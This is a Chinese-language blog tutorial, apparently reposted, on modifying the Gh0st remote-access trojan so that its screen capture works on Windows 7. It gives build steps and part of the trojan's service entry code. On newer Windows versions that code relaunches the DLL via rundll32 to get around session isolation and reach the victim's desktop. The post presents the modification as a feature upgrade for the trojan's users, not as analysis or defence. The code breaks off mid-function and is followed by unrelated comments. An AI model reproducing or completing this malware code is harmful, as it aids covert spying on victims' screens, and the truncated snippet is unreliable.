
详细说明如何让GH0ST支持WIN7屏幕。userenv.h
我记得以前给大家发布过一段视频教程《修改系列:让GH0ST支持WIN7屏幕》近期很都加我的QQ向我反映无法下载那段教程了,我查了下网盘,相关的内容可能违规,在盛大网盘清理的时候被全部删除了,很可惜啊,我前面百度了一下找不到相关的教程了,那么我就给大家一段代码,大家自己一步一步跟我说的去做,视频教程以后有机会我还会再给大家更新出来的。
大家也可以常考小义功能添加课的16课,来修改 ,代码有点不同。。。userenv.h
新建一个svchost.def文本文件 输入内容:
EXPORTS
main
然后把win7.H包含在svchost.cpp中
你们可以直接把这个文件复制到DLL 文件夹里面.
就这样放进去..我就新建了,因为我的win7 和VC 不适合拖拽.
我们得新建个输出表.
搜索 extern "C" __declspec(dllexport) void ServiceMain( int argc, wchar_t* argv[] )
extern "C" __declspec(dllexport) void ServiceMain( int argc, wchar_t* argv[] )
{
strncpy(svcname, (char*)argv[0], sizeof svcname); //it's should be unicode, but if it's ansi we do it well
wcstombs(svcname, argv[0], sizeof svcname);
hServiceStatus = RegisterServiceCtrlHandler(svcname, (LPHANDLER_FUNCTION)ServiceHandler);
if( hServiceStatus == NULL )
{
return;
}else FreeConsole();
TellSCM( SERVICE_START_PENDING, 0, 1 );
TellSCM( SERVICE_RUNNING, 0, 0);
// call Real Service function noew
g_dwServiceType = QueryServiceTypeFromRegedit(svcname);
HANDLE hThread;
OSVERSIONINFO OsVerInfoEx;
OsVerInfoEx.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx(&OsVerInfoEx);
if ( OsVerInfoEx.dwMajorVersion < 6 )//判断那种系统,如果小于6,直接用原来的代码
{
HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)svcname, 0, NULL);
}
else
{
CHAR lpCommand[256];
CHAR Start[MAX_PATH];
GetModuleFileName(/*CKeyboardManager::*/g_hInstance,Start,sizeof(Start));
wsprintf(lpCommand,"rundll32.exe %s,main",Start);
本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/jisuanjixue/article-52923-1.html
这些军舰有什么用
哈哈